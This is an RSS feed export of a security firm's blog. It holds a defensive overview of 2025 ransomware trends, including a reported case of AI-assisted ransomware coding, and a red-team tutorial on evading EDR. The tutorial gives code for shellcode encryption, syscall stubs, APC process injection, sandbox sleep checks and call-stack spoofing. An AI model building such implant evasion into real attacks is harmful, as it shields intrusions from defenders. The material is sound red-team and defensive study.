<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Maveris Labs - Medium]]></title>
        <description><![CDATA[Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more visit maveris.com/#maveris-labs. - Medium]]></description>
        <link>https://medium.com/maverislabs?source=rss----f30c6fcdbcbc---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Maveris Labs - Medium</title>
            <link>https://medium.com/maverislabs?source=rss----f30c6fcdbcbc---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:33:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/maverislabs" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ransomware Unleashed: Insight into the 2025 Threat Surge]]></title>
            <link>https://medium.com/maverislabs/ransomware-unleashed-insight-into-the-2025-threat-surge-ffdd3e4c602b?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/ffdd3e4c602b</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Peter Harris]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 12:02:00 GMT</pubDate>
            <atom:updated>2025-10-21T16:57:01.950Z</atom:updated>
            <content:encoded><![CDATA[<p>In the ever-evolving cybercrime landscape of cybersecurity threats, ransomware is still among the most fruitful and lucrative forms of cyberattack. Within the U.S. alone incident numbers have increased by 149% year-over-year and continue to surge. Globally, estimates report damages could reach $57 billion this year, emphasizing the increasing economic impact of these attacks. From January 2022 to February 2024, 59% of worldwide organizations were impacted by ransomware, a trend that has only intensified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*MehtUi9wfTME3MrSZn10OA.jpeg" /></figure><h3>Current State</h3><p>Historically, ransomware groups have often adopted their playbooks from more sophisticated threat actors rather than pioneering new tactics. Consequently, their TTPs frequently overlap with those of other attackers. However, in 2025, these groups are refining their methods to accelerate compromises and better evade detection. Initial access often exploits vulnerabilities in edge devices like Virtual Private Networks (VPNs) and firewalls or, more commonly, use stolen credentials from dark web markets. After an adversary gains initial access, legitimate tools such as PowerShell and Remote Desktop Protocol (RDP) are used for lateral movement, with average breakout times now down to 48 minutes, and as little as 51 seconds in some extreme cases.</p><p>Social engineering has advanced, with techniques like ClickFix, which preys on a user’s desire to resolve their own problems, impersonating IT tools to trick users into executing malicious scripts. Groups such as Interlock have employed this in campaigns, while others use phishing, credential theft, and brute-force attacks on VPNs and RDP. Evasion tactics include bring-your-own-installer (BYOI) for disabling endpoint detection and response (EDR) systems, just-in-time (JIT) hooking, and memory injection to deploy custom payloads stealthily. Qilin, a cybercrime group focusing on ransomware, uses automated tooling for privilege escalation and custom .NET loaders like NETXLOADER. Malware-free techniques now comprise 79% of detections. Actors are more often utilizing “living-off-the-land” tactics with tools like AnyDesk for persistence and GC2, an open-source tool which allows an attacker to execute commands on target machines through Google Sheets or Microsoft SharePoint. Attackers then use these tools to list and exfiltrate files through Google Drive or Microsoft SharePoint documents, for command-and-control (C2). In addition, it has been reported by CrowdStrike that 73 of the 161 vulnerabilities exploited in the first half of 2025 were linked to ransomware installations.</p><h3>AI Integration</h3><p>Ransomware attacks surged 70% in the first half of 2025 compared to prior years, with AI being cited as a key enabler in many cases. Threat actors have been successfully using AI to significantly improve their social engineering attacks by automating the crafting of more realistic email (phishing), SMS (smishing) and voice phishing (vishing) campaigns. AI is being used to automate full campaigns by building imitation profiles and websites for social engineering, boosting the quantity, effectiveness, and impact of their attacks. AI chatbots are being used for ransomware negotiations as victims are being redirected to these chatbots to haggle over payments. Claude, an AI assistant by Anthropic, has been used to generate ransomware variants by assisting in coding advanced features for evasion techniques. One technique used was to allow Akira’s Rust-based variant incorporating generative AI to mutate payloads in real time to evade endpoint detection. Overall trends are seeing AI integrated into every stage of ransomware attacks, from initial access (phishing/vuln scanning), execution (code gen), and extortion (negotiations/data analysis). By Q3 2025, 80% of attacks involved AI, per <a href="https://mitsloan.mit.edu/ideas-made-to-matter/80-ransomware-attacks-now-use-artificial-intelligence">MIT Sloan research</a>, with projections of $265B in global damages by 2031.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQw8zqfx-y0BLGUxWMaySg.jpeg" /></figure><h3>Increased Extortion</h3><p>Although paying cyber criminals was never the preferred method of recovering from an attack, for many years a proven trend was that if you did pay, the criminals would return your data, provide working decryption keys and not publicize or share your data. Those days are long gone. Beyond encryption and data theft, 2025 has seen an increase in the “Third Wave” of extortion, where attackers disrupt business in 86% of cases by wiping backups, launching DDoS attacks, harassing executives, and filing false complaints. Double extortion remains the new standard, with groups like SafePay building on leaked code from prior operations. Geopolitical elements are emerging, as seen with North Korea’s Moonstone Sleet adopting Russian based Qilin ransomware tools.</p><h3>Conclusion</h3><p>Outlined above is a high-level breakdown of the current trends and tactics that are being reported on currently. Listed below is a further breakdown of those reported trends with solutions that can be implemented or improved on within your organization to improve your security posture and resilience to these common ransomware TTPs.</p><blockquote><strong>Reported Trend:</strong> <a href="https://news.sophos.com/en-us/2025/04/16/the-sophos-annual-threat-report-cybercrime-on-main-street-2025/">Sophos 2025</a> report identified 63% of successful attacks stemmed from unpatched systems.</blockquote><blockquote><strong>Solution: </strong>Proactive Vulnerability Management. Simply patching edge devices like firewalls, VPNs, and other exposed systems.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.acronis.com/en/resource-center/resource/acronis-cyberthreats-report-h1-2025/">Acronis</a> has reported that 85% of organizations with <strong>tested</strong>, immutable backups were able to avoid paying ransom.</blockquote><blockquote><strong>Solution:</strong> Follow the 3–2–1 rule for backups: 3 copies, 2 different media, 1 offsite or air gapped location. Test and restore backups quarterly.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.cisa.gov/news-events/cybersecurity-advisories">CISA</a> has reported that there are 40% fewer successful, undetected lateral movement by threat actors in environments that have adopted comprehensive zero trust architectures.</blockquote><blockquote><strong>Solution: </strong>Adopt Zero Trust architecture: Enforce least-privilege access and multi-factor authentication on <strong>ALL</strong> systems. Micro-segment critical systems, ICS, and IoT.</blockquote><blockquote><strong>Reported Trend:</strong> <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2025</a> report credits threat hunting with a 35% reduction in dwell time.</blockquote><blockquote><strong>Solution:</strong> Conduct persistent threat hunting to identify pre-ransom IoCs. Develop, update, and test incident response plans annually.</blockquote><blockquote><strong>Reported Trend:</strong> CISA 2025 statistics showed that organizations that were collecting and part of intelligence-sharing networks saw a 25% lower attack rate.</blockquote><blockquote><strong>Solution: </strong>Join information sharing and threat analysis groups (ex. <a href="https://www.cisa.gov/topics/partnerships-and-collaboration/joint-cyber-defense-collaborative">CISAs Joint Cyber Defense Collaborative</a>). Leverage government advisories to stay current with evolving threats and TTPs. Invest in threat intelligence staff and/or platforms.</blockquote><blockquote><strong>Reported Trend:</strong> The cybersecurity company ESET noted a 50% drop in phishing click rates with AI-assisted training programs.</blockquote><blockquote><strong>Solution:</strong> Conduct regular AI generated phishing and vishing training emulating real threat examples. Implement real AI-driven email gateways that detect anomalies and sender behaviors.</blockquote><p>To combat these trends, organizations must prioritize and invest in the solutions outlined above. Unfortunately, there is no one solution that will cover all attack scenarios and the criminals will evolve requiring the solutions to constantly evolve. What works today will not necessarily protect you tomorrow. Continuous defense innovation is essential against AI-driven threats and rapid breakout times. As ransomware evolves, staying informed through reports like those from CISA, FBI, Sophos, Rapid7, and CrowdStrike will be crucial for building resilient strategies.</p><p>In conclusion, 2025 has solidified ransomware as a highly adaptable threat, overlaying technology, opportunism, and business-like efficiency. By understanding these trends and TTPs, defenders can better predict, adapt, and respond to the next wave of attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*x0tBozm73ZBolVYR.png" /></figure><p><em>Maveris is an IT and cybersecurity services company committed to helping organizations create secure digital solutions to accelerate their mission. Maveris is part of Harmonia, a provider of innovative technology solutions to the Federal Government. Together we are dedicated to serving our nations Veterans and solving our customers complex challenges. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffdd3e4c602b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/ransomware-unleashed-insight-into-the-2025-threat-surge-ffdd3e4c602b">Ransomware Unleashed: Insight into the 2025 Threat Surge</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Evading the Watchful Eye: A Red Teamer’s Guide to EDR Bypass Techniques]]></title>
            <link>https://medium.com/maverislabs/evading-the-watchful-eye-a-red-teamers-guide-to-edr-bypass-techniques-e989a6f6c4ac?source=rss----f30c6fcdbcbc---4</link>
            <guid isPermaLink="false">https://medium.com/p/e989a6f6c4ac</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[antivirus-evasion]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <dc:creator><![CDATA[Alexandre Kim]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 12:02:10 GMT</pubDate>
            <atom:updated>2025-10-06T12:02:09.960Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*asMml3YavSx8wP4fRS5nsg.png" /></figure><p>With the threat landscape evolving quickly, security software vendors have had to adapt in a number of ways. Antivirus solutions have failed to keep pace with new technologies and haven’t provided enough adequate protections to catch sophisticated attackers. The advancement in technologies has ushered in new security solutions identified as Endpoint Detection and Response (EDR) software. While each EDR solution has its own “secret sauce” when it comes to how it executes its defensive mechanisms, most operate through comparable methods. For example, many EDR software solutions have implemented techniques to include Userland Hooking, Memory Scanning, Static Detection, and Heuristic Detection. These techniques all operate in a similar manner from product to product, leading to software agnostic bypasses that are effective against a number of products.</p><p>This blog post covers some of the EDR evasion techniques I’ve found most useful while developing software for my current position as a Maveris Red Team Operator. It is written with the assumption that the reader has some knowledge of coding in both high and low level languages, and awareness of basic evasion components such as Position Independent Code (PIC). References to a “Dropper” or “Implant” refer to the software responsible for establishing C2 sessions or beacons.</p><p><strong>Encryption and IOCs</strong></p><p>We’ll begin by looking into how to make use of the PIC while evading static detection.</p><p>First, let’s look at the anatomy of our droppers. A typical vanilla dropper performs API calls for the following actions:</p><ul><li>The implant allocates writable memory for Shellcode..</li><li>The implant writes the Shellcode to the reserved memory</li><li>The implant sets protections on the memory region to options which look more benign(i.e. RX instead of WRX)</li><li>The implant executes the Shellcode</li></ul><p>There are many different API calls that can be used to carry this out, with some of the most basic being <em>VirtualAlloc</em>, <em>WriteProcessMemory</em>, <em>VirtualProtect</em> and <em>CreateThread</em>. These API calls perform the actions above with the PIC generated, but can’t utilize the PIC without falling victim to antivirus static detection. So how can we successfully utilize the PIC we generated within the implant?</p><p>By encrypting or obfuscating it, we can bypass static detection. There are an infinite number of ways to perform this encryption, and the more creative you get, the better. Typical methods include:</p><ul><li>Caesar Ciphers</li><li>XOR Key Encryption</li><li>AES Encryption</li></ul><p>These are all great options, if you make use of them in a non-conventional way. Alternating from byte to byte with Caesar Cipher/ XOR Key encryption is an example of an extension of common encryption methods that can be used to circumvent static detection. This python script below performs this by taking in raw PIC in a .bin format, and outputs a .c file with output you can utilize in your implant.</p><pre>import sys<br>import os<br><br>def alternate_encrypt(data, caesar_shifts, xor_keys):<br>    result = bytearray(data)<br>    for i in range(len(data)):<br>        if i % 2 == 0:  # Even indices: Caesar cipher<br>            shift = caesar_shifts[i % len(caesar_shifts)]<br>            result[i] = (data[i] + shift) % 256<br>        else:  # Odd indices: XOR<br>            key = xor_keys[i % len(xor_keys)]<br>            result[i] = data[i] ^ key<br>    return result<br><br>def format_for_c_string(data, var_name, bytes_per_line=16):<br>    output = f&quot;unsigned char {var_name}[] = \&quot;&quot;<br>    for i in range(len(data)):<br>        if i &gt; 0 and i % bytes_per_line == 0:<br>            output += &quot;\&quot;\n    \&quot;&quot;<br>        output += f&quot;\\x{data[i]:02x}&quot;<br>    output += &quot;\&quot;;&quot;<br>    return output<br><br>def main():<br>    if len(sys.argv) != 3:<br>        print(&quot;Usage: python encrypt_bin.py &lt;input.bin&gt; &lt;output.c&gt;&quot;)<br>        sys.exit(1)<br><br>    input_file = sys.argv[1]<br>    output_file = sys.argv[2]<br><br>    # Read input .bin file<br>    try:<br>        with open(input_file, &quot;rb&quot;) as f:<br>            data = bytearray(f.read())<br>    except FileNotFoundError:<br>        print(f&quot;Error: Input file &#39;{input_file}&#39; not found.&quot;)<br>        sys.exit(1)<br><br>    # Define encryption parameters<br>    caesar_shifts = [3, 7, 11]  # Alternating shifts for Caesar cipher<br>    xor_keys = [0x5A, 0x3C, 0x7F]  # XOR keys for multiple byte XOR<br><br>    # Apply encryption<br>    encrypted = alternate_encrypt(data, caesar_shifts, xor_keys)<br><br>    # Format as C string<br>    c_string = format_for_c_string(encrypted, &quot;encrypted_data&quot;)<br><br>    # Write to output .c file<br>    try:<br>        with open(output_file, &quot;w&quot;) as f:<br>            f.write(c_string)<br>        print(f&quot;Encrypted data written to &#39;{output_file}&#39;&quot;)<br>        print(f&quot;Encrypted data length: {len(encrypted)} bytes&quot;)<br>    except Exception as e:<br>        print(f&quot;Error writing output file: {e}&quot;)<br>        sys.exit(1)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>AES encryption may also seem like a great option, but the libraries that perform AES encryption may be an IOC (Indicator of compromise) when loaded by your implant. To avoid this, a custom crypto implementation can be used to circumvent having to load crypto libraries. A great implementation of custom AES encryption, and how to implement it into your project can be found here: <a href="https://github.com/kokke/tiny-AES-c">https://github.com/kokke/tiny-AES-c</a></p><p>So now we’ll need to implement a decryption routine for the Shellcode, restoring it to its original contents, so that it properly executes when it reaches the CPU. Here is an example of how that decryption routine might look if we were to implement the encryption solution previously mentioned.</p><pre>void alternate_decrypt(unsigned char *data, size_t len, const int *caesar_shifts, size_t shifts_len, const unsigned char *xor_keys, size_t keys_len) {<br>   <br>    for (size_t i = 0; i &lt; len; i++) {<br>        if (i % 2 == 0) {  <br>            int shift = caesar_shifts[i % shifts_len];<br>            data[i] = (data[i] - shift + 256) % 256;<br>        } else {  <br>            unsigned char key = xor_keys[i % keys_len];<br>            data[i] ^= key;<br>        }<br>    }<br>}<br>unsigned char encrypted_data[] __attribute__((section(&quot;.text&quot;))) = &quot;\xff\x74\...f&quot;<br>const int caesar_shifts[] = {3, 7, 11};<br>const size_t shifts_len = 3;<br>const unsigned char xor_keys[] = {0x5A, 0x3C, 0x7F};<br>const size_t keys_len = 3;<br>size_t data_len = sizeof(encrypted_data) - 1<br><br>alternate_decrypt(encrypted_data, data_len, caesar_shifts, shifts_len, xor_keys, keys_len);</pre><p>This is an example of how the decryption routine might work for your encrypted Shellcode. You would simply need to replace \xff\x74… with the encrypted Shellcode generated by the python script.</p><p><strong>Payload Location — Unbacked Executable Memory</strong></p><p>Now you may be familiar with vanilla droppers and ask yourself what</p><pre> __attribute__((section(&quot;.text&quot;)))</pre><p>is doing to the code. If you’re well acquainted with the PE (Portable Executable) format, you will recognize the <em>.text</em> section. Essentially, <em>.text</em> is a section of an executable that contains the executable instructions. This may seem counter intuitive, since “text” in most contexts refers to something completely different, but with a little bit of digging into the structure of a PE file, you can validate this. In this example, we’ve written our Shellcode to the <em>.text</em> section of our implant to make the executable Shellcode look more organic to memory scanners. When you use <em>VirtualAlloc</em> or <em>VirtualAllocEx</em> to allocate memory for the Shellcode, the memory region is marked as private memory, and when marked as executable, it becomes a major IOC because it isn’t backed by a module on disk. Below are examples of Moneta and Process hacker showing these detections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*Srq-bg3qgUYFKHlO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*pKaR4xprs3tWTTQO" /></figure><p>While some memory scanners can detect that we’ve made modifications to the .text section as the Shellcode decrypts, a good number of EDR solutions may find it to be less conspicuous than private executable unbacked memory. This technique also avoids having to allocate memory, and instead, uses the <em>VirtualProtect</em> API to temporarily change permissions on a portion of the .text section so that the payload can be decrypted before reverting it back to its executable state.</p><p><strong>Userland Hooks</strong></p><p>As previously mentioned, API calls are made to perform operations within the implant. These Windows APIs call their corresponding lower level undocumented APIs within NTDLL.dll. In an effort to detect malicious use of these APIs, many EDR solutions hook the lower level APIs located in NTDLL.dll because it is the last stop the API calls make before calling into the kernel. These hooks are simply assembly opcodes, like JMP instructions, which redirect the code execution of the NTAPIs to code which performs an inspection of NTAPIs usage. This allows the EDR software to identify malicious usage of these APIs and mitigate risk through defensive action.</p><p>Since these hooks are all in userland, where we have read/write access to the memory, there are a number of ways we can get around them.</p><ul><li>We could load a completely new copy of NTDLL and have it overwrite the hooked copy.</li><li>We could unhook the APIs.</li><li>If we don’t want to interact with the filesystem, we can start a suspended process and copy the unhooked NTDLL from the process over our hooked DLL. This technique is known as “Peruns Fart” and is detailed in a number of repositories like this one: <a href="https://github.com/plackyhacker/Peruns-Fart.">https://github.com/plackyhacker/Peruns-Fart.</a></li><li>We can opt for usage of indirect and direct syscalls. When using direct syscalls, we use functions that make use of an assembly stub, purposed for loading the syscall number into the respective register, and then perform a syscall instruction. This calls directly into the kernel, rather than relying on the NTAPI in NTDLL.dll to execute its SYSCALL instruction. Below is an example of what the assembly stub would look like.</li></ul><pre>mov r10, rcx<br>mov eax, [wSystemCall]<br>syscall<br>ret</pre><ul><li>Indirect syscalls are similar, but rather than making a direct syscall in the assembly stub, we jump to the SYSCALL instruction in the NTDLL.dll that corresponds to our NTAPI call. As shown below, we can do this with a similar assembly stub.</li></ul><pre>EXTERN JMPADDR<br>...<br>mov r10, rcx<br>mov eax, [wSystemCall]<br>jmp [JMPADDR]<br>ret</pre><p>This looks more normal to the EDR as the SYSCALL instruction will have originated from an expected location. There is an amazing project called Syswhispers which greatly simplifies the process <a href="https://github.com/klezVirus/SysWhispers3">https://github.com/klezVirus/SysWhispers3</a></p><p>This brings us to the next problem. Syscall numbers change from version to version. Also, EDRs may make it harder to identify what syscall number corresponds to what NTAPI call, as they modify the code sections which make these calls into the kernel. However, not all functions in NTDLL are hooked, and the order in which these functions appear in memory parallels their syscall numbers, allowing us to data mine syscall numbers from neighboring API stubs. This technique can be seen in the Halo’s Gate project, which you can learn more about here: <a href="https://blog.sektor7.net/#!res/2021/halosgate.md">https://blog.sektor7.net/#!res/2021/halosgate.md</a>. In Halo’s Gate, memory is iteratively searched to locate a syscall stub, which is then used to identify the syscall number for a certain API call. If the function is hooked and no syscall number is found, it looks to neighboring functions until it finds one with a syscall number, then calculates the syscall number of the syscall we’re trying to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/0*IZ1ATsgIJoXjgIDM" /></figure><p>Once these syscall numbers are resolved, they can be loaded into the appropriate register before executing the SYSCALL instruction. This can be done either from your own assembly stub(Direct Syscall), or the SYSCALL instruction located in the normal execution path(Indirect Syscall). Identifying this SYSCALL instruction address can be as simple as making use of the code below. This code identifies the location of <em>NtCreateThreadEx</em> in NTDLL.dll, and adds an offset to it. The result corresponds to the SYSCALL assembly instruction of the API call:</p><pre>UINT_PTR pointerNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, &quot;NtCreateThreadEx&quot;);<br>UINT_PTR syscallAddressNtCreateThreadEx = pointerNtCreateThreadEx + 0x12;<br>JMPADDR=syscallAddressNtCreateThreadEx;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*7ugkFU_f0T5KR0Pt" /></figure><p>Once this address is calculated, a simple jump to it after loading up the registers can perform the indirect syscall with the previously mentioned assembly stub.</p><p>Syswhispers also dynamically resolves these Syscall numbers, so using both techniques would be redundant.</p><p><strong>Process Injection</strong></p><p>Another technique that may prove useful is process injection. While kernel telemetry will identify that a remote thread from another process has been started, this could help our implant evade detections, as the hosting process may help C2 traffic and heuristics look more legitimate. Below is example code which spawns a suspended Notepad process, purposed for our shellcode injection. The keen eye may notice that non-Microsoft DLLs have been blocked from loading into the process. This may help in preventing EDR DLLs from being loaded into the process and may circumvent detections.</p><pre>PROCESS_INFORMATION pi = {};<br>STARTUPINFOEXA si = {};<br>SIZE_T attributeSize = 0;<br><br>            <br><br>InitializeProcThreadAttributeList(NULL, 1, 0, &amp;attributeSize);<br>       <br>PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);<br>DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; 0x100000000000;<br>UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &amp;policy, sizeof(DWORD64), NULL, NULL);<br>            <br>si.lpAttributeList = attributes;<br>CreateProcessA((LPSTR)&quot;C:\\windows\\system32\\notepad.exe&quot;, NULL, NULL, NULL, EXTENDED_STARTUPINFO_PRESENT, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, &quot;C:\\Windows\\System32\\&quot;, &amp;si.StartupInfo, &amp;pi))</pre><p>We’ve chosen Notepad in this particular example, although some other host processes may better suit C2 implant purposes. For example, if your implant is using https, it may make more sense to inject into a browser process so that network monitors don’t think the traffic is anomalous. It is also important to keep in mind the architecture of the process. Injecting x64 shellcode into an x86 process will likely cause it to crash. Below is example code utilizing Syswhispers3 for calling the APIs.</p><pre>HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);<br><br>allocation_start = VirtualAllocExNuma(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0);<br>status = Sw3NtWriteVirtualMemory(pi.hProcess, allocation_start, (PVOID)shellcode, allocation_size, nullptr);<br>DWORD oldProtect;<br>status = Sw3NtProtectVirtualMemory(pi.hProcess, &amp;allocation_start, &amp;allocation_size, PAGE_EXECUTE_READ, &amp;oldProtect);<br><br>Sw3NtQueueApcThread(pi.hThread, (PKNORMAL_ROUTINE)allocation_start, NULL, NULL, NULL);<br>Sw3NtResumeThread(pi.hThread, 0);</pre><p><strong>Non-Emulated API</strong></p><p>You may have noticed that in the code above, we utilized <em>VirtualAllocExNuma</em> rather than utilizing Syswhispers and the common <em>VirtualAllocEx</em> API call. This is because <em>VirtualAllocExNuma</em> is a non-emulated API and may cause emulated execution to fail before our implant does its thing. The failure can be useful to evade detection, as detection solutions generally emulate the execution of a binary and look into its heuristics to determine whether it is doing anything malicious. More details can be found here: <a href="https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76">https://redfoxsecurity.medium.com/antivirus-evasion-26a30f072f76</a></p><p><strong>Sleep Timers</strong></p><p>In addition to non-emulated APIs, you may see sleep timers used in malware with a conditional exit based on whether a certain time period has gone by. This is because emulation typically speeds through sleep functions so that the user experience isn’t impacted by the defensive mechanism. This allows us to use these timers as a litmus test to see whether the execution is being emulated for detection purposes, and if it is, we can cause the program to exit before malicious action is detected. This can be utilized in every programming language. Here is a C# example:</p><pre>DateTime t1 = DateTime.Now; <br>Sleep(2000); <br>double t2 = DateTime.Now.Subtract(t1).TotalSeconds; <br>if(t2 &lt; 1.5) <br> { <br>  return; <br> }</pre><p>More details about different ways to delay execution and their detections can be found here: <a href="https://www.malwation.com/blog/simplest-yet-most-common-and-effective-evasion-tactic-sleep">https://www.malwation.com/blog/simplest-yet-most-common-and-effective-evasion-tactic-sleep</a></p><p><strong>QueueApcThread</strong></p><p>Using <em>QueueApcThread</em> may be a better option than using the <em>CreateRemoteThread</em> API call. Both are now monitored by most EDR solutions, but <em>CreateRemoteThread</em> is the more obvious of the two. In our example code that utilized syswhispers and made API calls, we’ve spawned our Notepad process suspended, set a thread to to be executed, and then resumed the process. This should result in our Shellcode being executed, and render a beacon in the context of the hosting process. More details can be found here: <a href="https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection">https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection</a></p><p><strong>Call Stack Spoofing</strong></p><p>EDRs look at call stacks to determine if they look legitimate, and if they don’t, they take defensive action. Executing our implant can cause the execution on the call stack to look abnormal. For example, when our vanilla implant attempts to create a thread, the call stack shows values of executable memory that is unbacked by a module on disk. This is a major IOC, and would likely get detected by EDR software. As you can see below, the memory addresses below don’t align with normal execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*heP2EQgDzEamDNJO" /></figure><p>It is worth noting that the entire stack is in userland, so we can modify it to look legitimate. To make the call stack look more organic, we can look into what a normal call stack looks like in a Notepad process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*0rv8a44VaNpICmPl" /></figure><p>Observing the contents in our debugger, we observe these call stack values on the stack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/0*YYpDZuS4GOTkMbj8" /></figure><p>These look to be values we can mimic to make our call stack look legitimate. In order to do this, we begin by data mining function prologues and epilogues for stack size information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*fJTcv4pRQfaTk71P" /></figure><p>Having found the stack size, we now know where the return address resides on the stack. Overwriting this value will allow us to manually spoof our call stack. Below, you will see we have copied the previous entry’s address at an offset of 0x80, which is the value we data mined from the function prologue. This results in duplicate entries in the call stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/0*ocEkDM9CKCgZ5Cvn" /></figure><p>We can utilize this technique to write values to return address locations which look innocuous, all in an effort to hide malicious code execution. Below, we see that we have spoofed our call stack and made it look like a normal call stack when executing our modified implant/dropper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/0*6QSr2EcGuESMytWU" /></figure><p><strong>ROP Gadget</strong></p><p>We’ve made use of a ROP gadget to bounce our execution off of a legitimate module to further make our call stack look legitimate, and also utilized the fact that a 0 as a return address allows for omissions within the call stack entries.</p><p>As an example of how part of this method works under the hood, we will look at how this could be implemented.</p><p>First, we locate a ROP Gadget in a legitimate module. In our example, we found a call r12 gadget in NTDLL.dll</p><p>Next, we load the address of the function we intend to spoof into a register. In this example, we have passed this address as a parameter to our function so that it gets stored in the rcx register.</p><pre>mov r10, rcx</pre><p>Then we load the stack-and-register-restoring function that we intend on calling with our ROP gadget into a register.</p><pre>lea r12, Restore</pre><p>Now we write the address of a call r12 ROP gadget to the stack. In our example, we passed this address as a parameter to our function again, so it is located in the r8 register.</p><pre>mov [rsp], r8</pre><p>Next, after allocating some code to handle parameters, we jump to the intended spoofed function’s address</p><pre>jmp r10</pre><p>And when the spoofed function returns, it will look to the stack for our return value of our ROP gadget. Subsequently, this will run our Restore function and allow for the proper continuation of execution, along with a patched call stack.</p><pre>Restore:<br>  ← Restore registers and stack frame →<br>  ret</pre><p>This will cause an entry in the call stack to be that of our ROP gadget. Since this ROP gadget is located in a legitimate module, it will look organic in the call stack.</p><p>It is necessary to patch the stack, as previously done, to hide our nefarious intent. To locate the return addresses on the stack, we can look for UNWIND_CODEs in the .pdata section. Once this is done, we can manipulate the call stack to look benign and execute code to our liking. A great implementation on how to do this can be found in this project: <a href="https://github.com/WithSecureLabs/CallStackSpoofer">https://github.com/WithSecureLabs/CallStackSpoofer</a></p><p>Another good implementation using another gadget to stack spoof can be found here: <a href="https://github.com/susMdT/LoudSunRun">https://github.com/susMdT/LoudSunRun</a></p><p><strong>Summary</strong></p><p>It seems that AV/EDR evasion is a cat and mouse game, and both security researchers and threat actors constantly come up with new innovative ways to evade defenses. There are a seemingly countless number of variations to certain evasion techniques and developing detection mechanisms has become increasingly difficult to do without impacting legitimate usage of regular programs. To wrap things up, those are some of my favorite techniques for EDR evasion, and I hope this article has been to your liking. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/0*WQ9y0M15ymHb7p9f.png" /></figure><p><em>Maveris is an IT and cybersecurity company committed to helping organizations create secure digital solutions to accelerate their mission. We are Veteran-owned and proud to serve customers across the Federal Government and private sector. Maveris Labs is a space for employees and customers to ask and explore answers to their burning “what if…” questions and to expand the limits of what is possible in IT and cybersecurity. To learn more, go to </em><a href="http://maveris.com/"><em>maveris.com</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e989a6f6c4ac" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maverislabs/evading-the-watchful-eye-a-red-teamers-guide-to-edr-bypass-techniques-e989a6f6c4ac">Evading the Watchful Eye: A Red Teamer’s Guide to EDR Bypass Techniques</a> was originally published in <a href="https://medium.com/maverislabs">Maveris Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
